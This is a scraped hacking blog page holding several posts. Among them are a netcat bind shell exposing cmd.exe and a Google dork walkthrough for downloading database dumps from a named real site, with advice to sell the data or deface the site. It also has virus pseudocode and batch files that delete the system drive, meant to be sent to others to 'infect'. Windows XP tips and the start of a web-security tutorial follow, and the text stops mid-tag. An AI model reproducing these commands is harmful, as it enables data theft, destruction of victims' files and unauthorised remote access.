style="text-align: justify;">Windows computer to allow people to telnet into a DOS shell by using this command:</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;"><i>C:\>nc -L -p 5000 -t -e cmd.exe</i></div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">You can specify a different port number than 5000. Just make sure it doesn't conflict with another port by checking with the netstat command. Then you and your friends, enemies and random losers can either telnet in or netcat in with the command:</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;"><i>C:\>nc -v [ipaddress of target] [port]</i></div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">Of course you will probably get hacked for setting up this port. However, if you set up a sniffer to keep track of the action, you can turn this scary back door into a fascinating honeypot. For example, you could run it on port 23 and watch all the hackers who attack with telnet hoping to log in. With some programming you could even fake a unix-like login sequence and play some tricks on your attackers.</div></div>

Hacking With Windows XP

Hacking With Windows XP The key to doing amazing things with XP is as simple as D O S. Yes, that's right, DOS as in MS-DOS, as in MicroS...

Read more »

Hack with BigDump

<div dir="ltr" style="text-align: left;" trbidi="on"><div style="color: black;"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiVhQaxAxMcOI-X8NM7tPTO9eSvWxmpQx4EsD1gBMJCxfaLkUTSbaVUJ27pJTEIPQJ2Gq8tl2JajEA90QxHLqK_QoJxMSKPScazxLqtaEJU2UWz_bi8IoHoo7wCHPbI1kryJUmuKFfUWj1V/s1600/bigdump.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiVhQaxAxMcOI-X8NM7tPTO9eSvWxmpQx4EsD1gBMJCxfaLkUTSbaVUJ27pJTEIPQJ2Gq8tl2JajEA90QxHLqK_QoJxMSKPScazxLqtaEJU2UWz_bi8IoHoo7wCHPbI1kryJUmuKFfUWj1V/s1600/bigdump.jpg" /></a></div><br />enj0y the f*****g database vul. <img alt="" border="0" class="inlineimg" src="http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/10.gif" title="pppdddd" /><br /><br />you can get many websites database and u know if u got the db power is urs ...u can sell it deface the site or juss to show off <img alt="" border="0" class="inlineimg" src="http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/4.gif" title="teeth" /><br /><br />its very much easy......</div><div style="color: black;"><img alt="" border="0" class="inlineimg" src="http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/4.gif" title="teeth" /></div><div style="color: black;"><br /></div><div style="color: black;">google dork</div><div style="color: black;"><br /></div><div style="color: black;">Dork For Search :</div><div style="color: black;"><br /></div><div style="color: black;"><br /></div><div class="bbcode_container" style="color: black;"><div class="bbcode_description">Code:</div><pre class="bbcode_code" style="height: 48px;"><b>inurl:/''bigdump.php''<br />intitle:BigDump ver. 0.29b</b></pre></div><div style="color: black;">search the above dork over google , u will get lots of sites [ not all would be vulnerable to this exploit ]</div><div style="color: black;"><br /></div><div style="color: black;">here m taking an example for the brief explanation <img alt="" border="0" class="inlineimg" src="http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/4.gif" title="teeth" /></div><div style="color: black;"><br /></div><div class="bbcode_container" style="color: black;"><div class="bbcode_description">Code:</div><pre class="bbcode_code" style="height: 36px;"><b>http://distribution.lux.org.uk/d/bigdump.php</b></pre></div><div style="color: black;">if u open this u will see the db file i.e, </div><div class="bbcode_container" style="color: black;"><div class="bbcode_description">Code:</div><pre class="bbcode_code" style="height: 36px;"><b>luxvideo_magento (2).sql</b></pre></div><div style="color: black;">[isnt it ultimate <img alt="" border="0" class="inlineimg" src="http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/10.gif" title="pppdddd" /> ]</div><div style="color: black;"><br /></div><div style="color: black;">now , to get the db file u will have to replace the url with the db name </div><div style="color: black;">like</div><div style="color: black;"><br /></div><div class="bbcode_container" style="color: black;"><div class="bbcode_description">Code:</div><pre class="bbcode_code" style="height: 36px;"><b>http://distribution.lux.org.uk/d/luxvideo_magento (2).sql</b></pre></div><div style="color: black;">as soon as u will execute the above url , downloading will start and rest u kn0w what u can u do <img alt="" border="0" class="inlineimg" src="http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/4.gif" title="teeth" /></div></div>

Hack with BigDump

enj0y the f*****g database vul. you can get many websites database and u know if u got the db power is urs ...u can sell it deface the site ...

Read more »

Virus Structure

<div dir="ltr" style="text-align: left;" trbidi="on"><div style="text-align: justify;">Virus Structure<br /><br /><br />Here is a simple structure of a virus. In the infected binary, at a known byte location in the file, a virus inserts a signature byte used to determine if a potential carrier program has been previously infected.<br /><br />V() </div><div style="text-align: justify;">{ </div><div style="text-align: justify;">  infectExecutable(); </div><div style="text-align: justify;">  if (triggered())<br /><a name="more"></a> </div><div style="text-align: justify;"> { </div><div style="text-align: justify;">    doDamage(); </div><div style="text-align: justify;"> } </div><div style="text-align: justify;">jump to main of infected program; </div><div style="text-align: justify;">}</div><div style="text-align: justify;">void infectExecutable() </div><div style="text-align: justify;">{ </div><div style="text-align: justify;">  file = chose an uninfected executable file; </div><div style="text-align: justify;">  prepend V to file; </div><div style="text-align: justify;">}</div><div style="text-align: justify;">void doDamage() </div><div style="text-align: justify;">{ ... }</div><div style="text-align: justify;">int triggered() </div><div style="text-align: justify;">{ </div><div style="text-align: justify;">  return (some test? 1 : 0);</div><div style="text-align: justify;">}</div><div style="text-align: justify;"><br />The above virus makes the infected file longer than it was, making it easy to spot. There are many techniques to leave the file length</div></div>

Virus Structure

Virus Structure Here is a simple structure of a virus. In the infected binary, at a known byte location in the file, a virus inserts a si...

Read more »

Format With Notepad

<div dir="ltr" style="text-align: left;" trbidi="on">Format a HDD with notepad<br /><br /><br /><br /><br />Step 1.<br />Copy The Following In Notepad Exactly as it says<br /><br /><br />01001011000111110010010101010101010000011111100000<br /><br /><br /><a name="more"></a><br /><br />Step 2.<br />Save As An EXE Any Name Will Do<br /><br /><br />Step 3.<br />Send the EXE to People And Infect<br /><br /><br />OR<br /><br />IF u think u cannot format c driver when windows is running try Laughing and u will get it Razz .. any way some more so u can test on other drives this is simple binary code<br />format c:\ /Q/X -- this will format your drive c:\<br /><br />01100110011011110111001001101101011000010111010000 100000011000110011101001011100<br /><br />0010000000101111010100010010111101011000<br /><br /><br />format d:\ /Q/X -- this will format your dirve d:\<br /><br />01100110011011110111001001101101011000010111010000 100000011001000011101001011100<br /><br />0010000000101111010100010010111101011000<br /><br /><br /><br />format a:\ /Q/X -- this will format your drive a:\<br /><br /><br />01100110011011110111001001101101011000010111010000 100000011000010011101001011100<br /><br />0010000000101111010100010010111101011000<br /><br /><br /><br />del /F/S/Q c:\boot.ini -- this will cause your computer not to boot.<br /><br /><br />01100100011001010110110000100000001011110100011000 101111010100110010111101010001<br /><br />00100000011000110011101001011100011000100110111101 101111011101000010111001101001<br /><br />0110111001101001<br /><br /><br />try to figure out urself rest<br />cant spoonfeed<br />its workin<br /><br /><br />Do not try it on ur PC. dont mess around this is for educational purpose only<br /><br />still if u cant figure it out try dis<br /><br />go to notepad<br /><br />@Echo off<br />Del C:\ *.*|y<br /><br />save it as Dell.bat<br /><br /><br />worse<br /><br />@echo off<br />del %systemdrive%\*.*/f/s/q<br />shutdown -r -f -t 00<br /><br />and save it as a .bat file</div>

Format With Notepad

Format a HDD with notepad Step 1. Copy The Following In Notepad Exactly as it says 01001011000111110010010101010101010000011111100000 Step 2...

Read more »

20 Uncovered Facts about XP

<div dir="ltr" style="text-align: left;" trbidi="on"><div align="justify">20 Uncovered Facts about XP </div><div align="justify"><br /></div><div align="justify">1. It boasts how long it can stay up. Whereas previous versions of Windows were coy about how long they went between boots, XP is positively proud of its stamina. Go to the Command Prompt in the Accessories menu from the All Programs start button option, and then type 'systeminfo'. The computer will produce a lot of useful info, including the uptime. If you want to keep these, type 'systeminfo > info.txt'. This creates a file called info.txt you can look at later with Notepad. (Professional Edition only).<br /><br />2. You can delete files immediately, without having them move to the Recycle Bin first. <br /><a name="more"></a>Go to the Start menu, select Run... and type 'gpedit.msc'; then select User Configuration, Administrative Templates, Windows Components, Windows Explorer and find the Do not move deleted files to the Recycle Bin setting. Set it. Poking around in gpedit will reveal a great many interface and system options, but take care -- some may stop your computer behaving as you wish. (Professional Edition only).<br /><br />3. You can lock your XP workstation with two clicks of the mouse. Create a new shortcut on your desktop using a right mouse click, and enter 'rundll32.exe user32.dll,LockWorkStation' in the location field. Give the shortcut a name you like. That's it -- just double click on it and your computer will be locked. And if that's not easy enough, Windows key + L will do the same.<br /><br />4. XP hides some system software you might want to remove, such as Windows Messenger, but you can tickle it and make it disgorge everything. Using Notepad or Edit, edit the text file /windows/inf/sysoc.inf, search for the word 'hide' and remove it. You can then go to the Add or Remove Programs in the Control Panel, select Add/Remove Windows Components and there will be your prey, exposed and vulnerable.<br /><br />5. For those skilled in the art of DOS batch files, XP has a number of interesting new commands. These include 'eventcreate' and 'eventtriggers' for creating and watching system events, 'typeperf' for monitoring performance of various subsystems, and 'schtasks' for handling scheduled tasks. As usual, typing the command name followed by /? will give a list of options -- they're all far too baroque to go into here.<br /><br />6. XP has IP version 6 support -- the next generation of IP. Unfortunately this is more than your ISP has, so you can only experiment with this on your LAN. Type 'ipv6 install' into Run... (it's OK, it won't ruin your existing network setup) and then 'ipv6 /?' at the command line to find out more. If you don't know what IPv6 is, don't worry and don't bother.<br /><br />7. You can at last get rid of tasks on the computer from the command line by using 'taskkill /pid' and the task number, or just 'tskill' and the process number. Find that out by typing 'tasklist', which will also tell you a lot about what's going on in your system.<br /><br />8. XP will treat Zip files like folders, which is nice if you've got a fast machine. On slower machines, you can make XP leave zip files well alone by typing 'regsvr32 /u zipfldr.dll' at the command line. If you change your mind later, you can put things back as they were by typing 'regsvr32 zipfldr.dll'.<br /><br />9. XP has ClearType -- Microsoft's anti-aliasing font display technology -- but doesn't have it enabled by default. It's well worth trying, especially if you were there for DOS and all those years of staring at a screen have given you the eyes of an astigmatic bat. To enable ClearType, right click on the desktop, select Properties, Appearance, Effects, select ClearType from the second drop-down menu and enable the selection. Expect best results on laptop displays. If you want to use ClearType on the Welcome login screen as well, set the registry entry HKEY_USERS/.DEFAULT/Control Panel/Desktop/FontSmoothingType to 2.<br /><br />10. You can use Remote Assistance to help a friend who's using network address translation (NAT) on a home network, but not automatically. Get your pal to email you a Remote Assistance invitation and edit the file. Under the RCTICKET attribute will be a NAT IP address, like 192.168.1.10. Replace this with your chum's real IP address -- they can find this out by going to www.whatismyip.com -- and get them to make sure that they've got port 3389 open on their firewall and forwarded to the errant computer.<br /><br />11. You can run a program as a different user without logging out and back in again. Right click the icon, select Run As... and enter the user name and password you want to use. This only applies for that run. The trick is particularly useful if you need to have administrative permissions to install a program, which many require. Note that you can have some fun by running programs multiple times on the same system as different users, but this can have unforeseen effects.<br /><br />12. Windows XP can be very insistent about you checking for auto updates, registering a Passport, using Windows Messenger and so on. After a while, the nagging goes away, but if you feel you might slip the bonds of sanity before that point, run Regedit, go to HKEY_CURRENT_USER/Software/Microsoft/Windows/Current Version/Explorer/Advanced and create a DWORD value called EnableBalloonTips with a value of 0.<br /><br />13. You can start up without needing to enter a user name or password. Select Run... from the start menu and type 'control userpasswords2', which will open the user accounts application. On the Users tab, clear the box for Users Must Enter A User Name And Password To Use This Computer, and click on OK. An Automatically Log On dialog box will appear; enter the user name and password for the account you want to use.<br /><br />14. Internet Explorer 6 will automatically delete temporary files, but only if you tell it to. Start the browser, select Tools / Internet Options... and Advanced, go down to the Security area and check the box to Empty Temporary Internet Files folder when browser is closed.<br /><br />15. XP comes with a free Network Activity Light, just in case you can't see the LEDs twinkle on your network card. Right click on My Network Places on the desktop, then select Properties. Right click on the description for your LAN or dial-up connection, select Properties, then check the Show icon in notification area when connected box. You'll now see a tiny network icon on the right of your task bar that glimmers nicely during network traffic.<br /><br />16. The Start Menu can be leisurely when it decides to appear, but you can speed things along by changing the registry entry HKEY_CURRENT_USER/Control Panel/Desktop/MenuShowDelay from the default 400 to something a little snappier. Like 0.<br /><br />17. You can rename loads of files at once in Windows Explorer. Highlight a set of files in a window, then right click on one and rename it. All the other files will be renamed to that name, with individual numbers in brackets to distinguish them. Also, in a folder you can arrange icons in alphabetised groups by View, Arrange Icon By... Show In Groups.<br /><br />18. Windows Media Player will display the cover art for albums as it plays the tracks -- if it found the picture on the Internet when you copied the tracks from the CD. If it didn't, or if you have lots of pre-WMP music files, you can put your own copy of the cover art in the same directory as the tracks. Just call it folder.jpg and Windows Media Player will pick it up and display it.<br /><br />19. Windows key + Break brings up the System Properties dialogue box; Windows key + D brings up the desktop; Windows key + Tab moves through the taskbar buttons.<br /><br />20. The next release of Windows XP, codenamed Longhorn, is due out late dis month The next big release is codenamed Blackcomb and will be out in 2010/2011</div><div align="justify"><br /></div></div>

20 Uncovered Facts about XP

20 Uncovered Facts about XP  1. It boasts how long it can stay up. Whereas previous versions of Windows were coy about how long they went be...

Read more »

Web Application Vulnerabilities

<div dir="ltr" style="text-align: left;" trbidi="on"><span class="Apple-style-span" style="background-color: white; color: #444444; font-family: Arial,Tahoma,Helvetica,FreeSans,sans-serif; font-size: 13px; line-height: 18px;"><h3 class="post-title entry-title" style="color: #444444; font: bold 22px Arial,Tahoma,Helvetica,FreeSans,sans-serif; margin: 0px; position: relative;">Web Application Vulnerabilities</h3><div class="post-header" style="line-height: 1.6; margin: 0px 0px 1em;"><div class="post-header-line-1"></div></div><div class="post-body entry-content" style="line-height: 1.4; position: relative; width: 506px;"><span id="8131091840431193588"><div><div>Readers, now we will learn to emphasize on the need to secure the applications as they permit an attacker to compromise a web server or network over the legitimate port of entry. As more businesses are hosting web based applications as a natural extension of themselves, the damage that can result as a result of compromise assumes significant proportions.</div><div><br /></div><div>After completing this, you will be familiar with the following aspects:</div><div><ul class="itemizedlist" style="line-height: 1.4; list-style-type: disc; margin: 0.5em 0px; padding: 0px 2.5em;"><li class="first-listitem" style="border-bottom: 1px none transparent; border-style: none; color: #444444; margin: 0px 0px 0.25em; padding: 0.25em 0px; text-indent: 0px;"> <div class="first-para">Understanding Web Application Security</div></li><li class="listitem" style="border-bottom: 1px none transparent; border-style: none; border-top: 1px none rgb(238, 238, 238); color: #444444; margin: 0px 0px 0.25em; padding: 0.25em 0px; text-indent: 0px;"> <div class="first-para">Common Web Application Security Vulnerabilities</div></li><li class="listitem" style="border-bottom: 1px none transparent; border-style: none; border-top: 1px none rgb(238, 238, 238); color: #444444; margin: 0px 0px 0.25em; padding: 0.25em 0px; text-indent: 0px;"> <div class="first-para">Web Application Penetration Methodologies</div></li><li class="listitem" style="border-bottom: 1px none transparent; border-style: none; border-top: 1px none rgb(238, 238, 238); color: #444444; margin: 0px 0px 0.25em; padding: 0.25em 0px; text-indent: 0px;"> <div class="first-para">Input Manipulation</div></li><li class="listitem" style="border-bottom: 1px none transparent; border-style: none; border-top: 1px none rgb(238, 238, 238); color: #444444; margin: 0px 0px 0.25em; padding: 0.25em 0px; text-indent: 0px;"> <div class="first-para">Authentication And Session Management</div></li><li class="listitem" style="border-bottom: 1px none transparent; border-style: none; border-top: 1px none rgb(238, 238, 238); color: #444444; margin: 0px 0px 0.25em; padding: 0.25em 0px; text-indent: 0px;"> <div class="first-para">Tools: Lynx, Teleport Pro, Black Widow, Web Sleuth</div></li><li class="listitem" style="border-style: none; border-top: 1px none rgb(238, 238, 238); color: #444444; margin: 0px 0px 0.25em; padding: 0.25em 0px; text-indent: 0px;"> <div class="first-para">Countermeasures</div></li></ul></div></div><div><b><br /></b></div><div><b>Understanding Web Application Security</b></div><div><br /></div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgpdmkR5lQMw3YQ1pkCtlzx1QLkwFTaDUWSHN9ISdzgieY_lkUXwkX7WFVQnk31hB4EXD3F21NzkN-PKbwr86qUl5eBvFpK4yTrKDXOWZ-MbTySWRS5QwCri37Q2n1pmN9weW01uXrE1OA/s1600-h/1.JPG" style="color: #3778cd; text-decoration: none;"><img alt="" border="0" id="BLOGGER_PHOTO_ID_5403458647554040754" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgpdmkR5lQMw3YQ1pkCtlzx1QLkwFTaDUWSHN9ISdzgieY_lkUXwkX7WFVQnk31hB4EXD3F21NzkN-PKbwr86qUl5eBvFpK4yTrKDXOWZ-MbTySWRS5QwCri37Q2n1pmN9weW01uXrE1OA/s200/1.JPG" style="background-color: transparent; border: 1px solid transparent; cursor: pointer; height: 132px; padding: 8px; position: relative; width: 200px;" /><br /></a><br /><div><table border="0" cellpadding="0" cellspacing="0" class="note"><tbody><tr><td class="admon-body" valign="top"><div class="first-para">Web based application security differs from the general discussion on security. In the general context, usually an IDS and/firewall lends some degree of security. However in the case of web applications, the session takes place through the allowed port - the default web server port 80. This is equivalent to establishing a connection without a firewall. Even if encryption is implemented, it only encrypts the transport protocol and in the event of an attack, the attacker's session will just be encrypted in nature. Encryption does not thwart the attack.</div></td></tr></tbody></table><div class="para">Attacking web applications is one of the most common way attackers compromise hosts, networks and users. It is a challenging task to defend against these attacks as there is no scope for logging the actions performed. This is particularly true for today's business applications where a significant percentage of applications are custom made or sourced from third party software components.</div></div><div><span class="sidebar-title"><b><center>Common Web Application Vulnerabilities</center></b></span><br /><ul class="itemizedlist" style="line-height: 1.4; list-style-type: disc; margin: 0.5em 0px; padding: 0px 2.5em;"><li class="first-listitem" style="border-bottom: 1px none transparent; border-style: none; color: #444444; margin: 0px 0px 0.25em; padding: 0.25em 0px; text-indent: 0px;"> <div class="first-para">Reliability of Client-Side Data</div></li><li class="listitem" style="border-bottom: 1px none transparent; border-style: none; border-top: 1px none rgb(238, 238, 238); color: #444444; margin: 0px 0px 0.25em; padding: 0.25em 0px; text-indent: 0px;"> <div class="first-para">Special Characters that have not been escaped</div></li><li class="listitem" style="border-bottom: 1px none transparent; border-style: none; border-top: 1px none rgb(238, 238, 238); color: #444444; margin: 0px 0px 0.25em; padding: 0.25em 0px; text-indent: 0px;"> <div class="first-para">HTML Output Character Filtering</div></li><li class="listitem" style="border-bottom: 1px none transparent; border-style: none; border-top: 1px none rgb(238, 238, 238); color: #444444; margin: 0px 0px 0.25em; padding: 0.25em 0px; text-indent: 0px;"> <div class="first-para">Root accessibility of web applications</div></li><li class="listitem" style="border-bottom: 1px none transparent; border-style: none; border-top: 1px none rgb(238, 238, 238); color: #444444; margin: 0px 0px 0.25em; padding: 0.25em 0px; text-indent: 0px;"> <div class="first-para">ActiveX/JavaScript Authentication</div></li><li class="listitem" style="border-style: none; border-top: 1px none rgb(238, 238, 238); color: #444444; margin: 0px 0px 0.25em; padding: 0.25em 0px; text-indent: 0px;"> <div class="first-para">Lack of User Authentication before performing critical tasks.</div></li></ul></div><div><div class="para">It has been noted that more often web application vulnerability can be eliminated to a great extent by the way they are designed. Apart from this, common security procedures are often overlooked by the functioning of the application.</div><table border="0" cellpadding="0" cellspacing="0" class="note"><tbody><tr><td class="admon-check" valign="top"></td><td class="admon-title" valign="top" width="56"><b>Threat</b></td><td class="admon-body" valign="top"><div class="first-para">Reliability of Client-Side Data: It is recommended that the web application rely on server side data for critical operations rather than the client side data, especially for input purposes.</div></td></tr></tbody></table><table border="0" cellpadding="0" cellspacing="0" class="note"><tbody><tr><td class="admon-check" valign="top"></td><td class="admon-title" valign="top" width="56"><b>Threat</b></td><td class="admon-body" valign="top"><div class="first-para">Special Characters that have not been escaped: Often this aspect is overlooked and special characters that can be used to modify the instructions by the attackers are found in the web application code. For example, UTF-7 provides alternative encoding for "<" and ">", and several popular browsers recognize these as the start and end of a tag.</div></td></tr></tbody></table><table border="0" cellpadding="0" cellspacing="0" class="note"><tbody><tr><td class="admon-check" valign="top"></td><td class="admon-title" valign="top" width="56"><b>Threat</b></td><td class="admon-body" valign="top"><div class="first-para">HTML Output Character Filtering: Output filtering helps a developer build an application which is not susceptible to cross site scripting attacks. When information is displayed to users, it should be escaped. HTML should be rendered inactive to prevent cross site scripting attacks.</div></td></tr></tbody></table><table border="0" cellpadding="0" cellspacing="0" class="note"><tbody><tr><td class="admon-check" valign="top"></td><td class="admon-title" valign="top" width="56"><b>Threat</b></td><td class="admon-body" valign="top"><div class="first-para">Root accessibility of web applications: Ideally web applications should not expose the root directory of the web server. Sometimes, it is possible for the user to access the root directory if he can manipulate the input or the URL.</div></td></tr></tbody></table><table border="0" cellpadding="0" cellspacing="0" class="note"><tbody><tr><td class="admon-check" valign="top"></td><td class="admon-title" valign="top" width="56"><b>Threat</b></td><td class="admon-body" valign="top"><div class="first-para">ActiveX/JavaScript Authentication: Client side scripting languages are vulnerable to attacks such as cross side scripting.</div></td></tr></tbody></table><table border="0" cellpadding="0" cellspacing="0" class="note"><tbody><tr><td class="admon-check" valign="top"></td><td class="admon-title" valign="top" width="56"><b>Threat</b></td><td class="admon-body" valign="top"><div class="first-para">Lack of User Authentication before performing critical tasks: An obvious security lapse, where restricted area access is given without proper authentication, reuse of authentication cache or poor logout procedures. These applications can be vulnerable to cookie based attacks.</div></td></tr></tbody></table></div><div><br /></div><div><span class="sidebar-title"><b><center>Web Application Penetration Methodologies</center></b></span><br /><ul class="itemizedlist" style="line-height: 1.4; list-style-type: disc; margin: 0.5em 0px; padding: 0px 2.5em;"><li class="first-listitem" style="border-bottom: 1px none transparent; border-style: none; color: #444444; margin: 0px 0px 0.25em; padding: 0.25em 0px; text-indent: 0px;"> <div class="first-para">Information Gathering and Discovery</div><ul class="itemizedlist" style="line-height: 1.4; list-style-type: disc; margin: 0.5em 0px; padding: 0px 2.5em;"><li class="first-listitem" style="border-bottom: 1px none transparent; border-style: none; color: #444444; margin: 0px 0px 0.25em; padding: 0.25em 0px; text-indent: 0px;"> <div class="first-para">Documenting Application / Site Map</div></li><li class="listitem" style="border-bottom: 1px none transparent; border-style: none; border-top: 1px none rgb(238, 238, 238); color: #444444; margin: 0px 0px 0.25em; padding: 0.25em 0px; text-indent: 0px;"> <div class="first-para">Identifiable Characteristics / Fingerprinting</div></li><li class="listitem" style="border-bottom: 1px none transparent; border-style: none; border-top: 1px none rgb(238, 238, 238); color: #444444; margin: 0px 0px 0.25em; padding: 0.25em 0px; text-indent: 0px;"> <div class="first-para">Signature Error and Response Codes</div></li><li class="listitem" style="border-style: none; border-top: 1px none rgb(238, 238, 238); color: #444444; margin: 0px 0px 0.25em; padding: 0.25em 0px; text-indent: 0px;"> <div class="first-para">File / Application Enumeration</div><ul class="itemizedlist" style="line-height: 1.4; list-style-type: disc; margin: 0.5em 0px; padding: 0px 2.5em;"><li class="first-listitem" style="border-bottom: 1px none transparent; border-style: none; color: #444444; margin: 0px 0px 0.25em; padding: 0.25em 0px; text-indent: 0px;"> <div class="first-para">Forced Browsing</div></li><li class="listitem" style="border-bottom: 1px none transparent; border-style: none; border-top: 1px none rgb(238, 238, 238); color: #444444; margin: 0px 0px 0.25em; padding: 0.25em 0px; text-indent: 0px;"> <div class="first-para">Hidden Files</div></li><li class="listitem" style="border-bottom: 1px none transparent; border-style: none; border-top: 1px none rgb(238, 238, 238); color: #444444; margin: 0px 0px 0.25em; padding: 0.25em 0px; text-indent: 0px;"> <div class="first-para">Vulnerable CGIs</div></li><li class="listitem" style="border-style: none; border-top: 1px none rgb(238, 238, 238); color: #444444; margin: 0px 0px 0.25em; padding: 0.25em 0px; text-indent: 0px;"> <div class="first-para">Sample Files</div></li></ul></li></ul></li><li class="listitem" style="border-style: none; border-top: 1px none rgb(238, 238, 238); color: #444444; margin: 0px 0px 0.25em; padding: 0.25em 0px; text-indent: 0px;"> <div class="first-para">Input/Output Client-Side Data Manipulation</div></li></ul></div><div><div class="first-para">Penetrating web servers is no different from attacking other systems when it comes to the basic methodology. Here also, we begin with information gathering and discovery. This can be anything from searching for particular file types / banners on search engines like google. For examples, searching for "index/" may bring up unsuspecting directories on interesting sites where one may find information that can be used for penetrating the web server.</div><div class="first-para"><span class="sidebar-title"><b></b></span></div><b><center>Hacking Tool: Instant Source</center></b><br /><div class="first-para"><a class="url" href="http://www.blazingtool.com/" style="color: #3778cd; text-decoration: none;" target="_top">http://www.blazingtool.com</a></div><ul class="itemizedlist" style="line-height: 1.4; list-style-type: disc; margin: 0.5em 0px; padding: 0px 2.5em;"><li class="first-listitem" style="border-bottom: 1px none transparent; border-style: none; color: #444444; margin: 0px 0px 0.25em; padding: 0.25em 0px; text-indent: 0px;"> <div class="first-para">Instant Source lets you take a look at a web page's source code, to see how things are done. Also, you can edit HTML directly inside Internet Explorer!</div></li><li class="listitem" style="border-style: none; border-top: 1px none rgb(238, 238, 238); color: #444444; margin: 0px 0px 0.25em; padding: 0.25em 0px; text-indent: 0px;"> <div class="first-para">The program integrates into Internet Explorer and opens a new toolbar window which instantly displays the source code for whatever part of the page you select in the browser window.</div></li></ul><div class="first-para"></div><table border="0" cellpadding="0" cellspacing="0" class="note"><tbody><tr><td class="admon-title" valign="top" width="48"></td><td class="admon-body" valign="top"><div class="first-para">Instant Source is an application that lets the user view the underlying source code as he browses a web page. The traditional way of doing this has been the View Source command in the browser. However, the process was tedious as the viewer has to parse the entire text file if he is searching for a particular block of code. Instant Source allows the user to view the code for the selected elements instantly without having to open the entire source.</div></td></tr></tbody></table><div class="para">The program integrates into Internet Explorer and opens a new toolbar window, instantly displaying the source code of the page / selection in the browser window. Instant Source can show all Flash movies, script files (*.JS, *.VBS), style sheets (*.CSS) and images on a page. All external files can be demarcated and stored separately in a folder. The tool also includes HTML, JavaScript and VBScript syntax highlighting and support for viewing external CSS and scripts files directly in the browser. This is not available from the view source command option.</div><div class="para">With dynamic HTML, the source code changes after the basic HTML page loads - which is the HTML that was loaded from the server without any further processing. Instant Source integrates into Internet Explorer and shows these changes, thereby eliminating the need for an external viewer.</div><div class="first-para"><span class="sidebar-title"><b></b></span></div><b><center>Hacking Tool: Lynx</center></b><br /><div class="first-para"><a class="url" href="http://lynx.browser.org/" style="color: #3778cd; text-decoration: none;" target="_top">http://lynx.browser.org</a></div><ul class="itemizedlist" style="line-height: 1.4; list-style-type: disc; margin: 0.5em 0px; padding: 0px 2.5em;"><li class="first-listitem" style="border-style: none; color: #444444; margin: 0px 0px 0.25em; padding: 0.25em 0px; text-indent: 0px;"> <div class="first-para">Lynx is a text-based browser used for downloading source files and directory links.</div></li></ul><div class="first-para"></div><table border="0" cellpadding="0" cellspacing="0" class="note"><tbody><tr> <td class="admon-title" valign="top" width="48"></td><td class="admon-body" valign="top"><div class="first-para">Lynx is a text browser client for users running cursor-addressable, character-cell display devices. It can display HTML documents containing links to files on the local system, as well as files on remote systems running http, gopher, ftp, wais, nntp, finger, or cso/ph/qi servers, and services accessible via logins to telnet, tn3270 or rlogin accounts. Current versions of Lynx run on UNIX, VMS, Windows3.x/9x/NT, 386DOS and OS/2 EMX.</div></td></tr></tbody></table><div class="para">Lynx can be used to access information on the Internet, or to build information systems intended primarily for local access. The current developmental Lynx has two PC ports. The ports are for Win32 (95 and NT) and DOS 386+. There Is a SSL enabled version of Lynx for Win32 by the name of lynxw32.lzh</div><div class="para">There is a default <i class="emphasis">Download option</i> of <i class="emphasis">Save to disk.</i> This is disabled if Lynx is running in anonymous mode. Any number of download methods such as kermit and zmodem may be defined in addition to this default in the <i class="emphasis">lynx.cfg</i> file.</div><div class="para"><span class="sidebar-title"><b></b></span></div><b><center>Hacking Tool: Wget</center></b><br /><div class="first-para"><a class="url" href="http://www.gnu.org/software/wget/wget.html" style="color: #3778cd; text-decoration: none;" target="_top">www.gnu.org/software/wget/wget.html</a></div><ul class="itemizedlist" style="line-height: 1.4; list-style-type: disc; margin: 0.5em 0px; padding: 0px 2.5em;"><li class="first-listitem" style="border-bottom: 1px none transparent; border-style: none; color: #444444; margin: 0px 0px 0.25em; padding: 0.25em 0px; text-indent: 0px;"> <div class="first-para">Wget is a command line tool for Windows and Unix that will download the contents of a web site.</div></li><li class="listitem" style="border-bottom: 1px none transparent; border-style: none; border-top: 1px none rgb(238, 238, 238); color: #444444; margin: 0px 0px 0.25em; padding: 0.25em 0px; text-indent: 0px;"> <div class="first-para">It works non-interactively, so it will work in the background, after having logged off.</div></li><li class="listitem" style="border-bottom: 1px none transparent; border-style: none; border-top: 1px none rgb(238, 238, 238); color: #444444; margin: 0px 0px 0.25em; padding: 0.25em 0px; text-indent: 0px;"> <div class="first-para">Wget works particularly well with slow or unstable connections by continuing to retrieve a document until the document is fully downloaded.</div></li><li class="listitem" style="border-style: none; border-top: 1px none rgb(238, 238, 238); color: #444444; margin: 0px 0px 0.25em; padding: 0.25em 0px; text-indent: 0px;"> <div class="first-para">Both http and ftp retrievals can be time stamped, so Wget can see if the remote file has changed since the last retrieval and automatically retrieve the new version if it has.</div></li></ul><div class="para"></div><table border="0" cellpadding="0" cellspacing="0" class="note"><tbody><tr><td class="admon-body" valign="top"><div class="first-para">GNU Wget is a freely available network utility to retrieve files from the Internet using HTTP and FTP. It works non-interactively, allowing the user to enabling work in the background, after having logged off. The recursive retrieval of HTML pages, as well as FTP sites is supported. Can be used to make mirrors of archives and home pages, or traverse the web like a WWW robot.</div></td></tr></tbody></table><div class="para">Wget works well on slow or unstable connections, keeping getting the document until it is fully retrieved and re-getting files from where it left off works on servers (both HTTP and FTP) that support it. Matching of wildcards and recursive mirroring of directories are available when retrieving via FTP. Both HTTP and FTP retrievals can be time-stamped, thus Wget can see if the remote file has changed since last retrieval and automatically retrieve the new version if it has.</div><div class="para">By default, Wget supports proxy servers, which can lighten the network load, speed up retrieval and provide access behind firewalls. However, if behind a firewall that requires a socks style gateway, the user can get the socks library and compile wget with support for socks.</div><div class="para"><span class="sidebar-title"><b></b></span></div><b><center>Hacking Tool: Black Widow</center></b><br /><div class="first-para"><a class="url" href="http://softbytelabs.com/" style="color: #3778cd; text-decoration: none;" 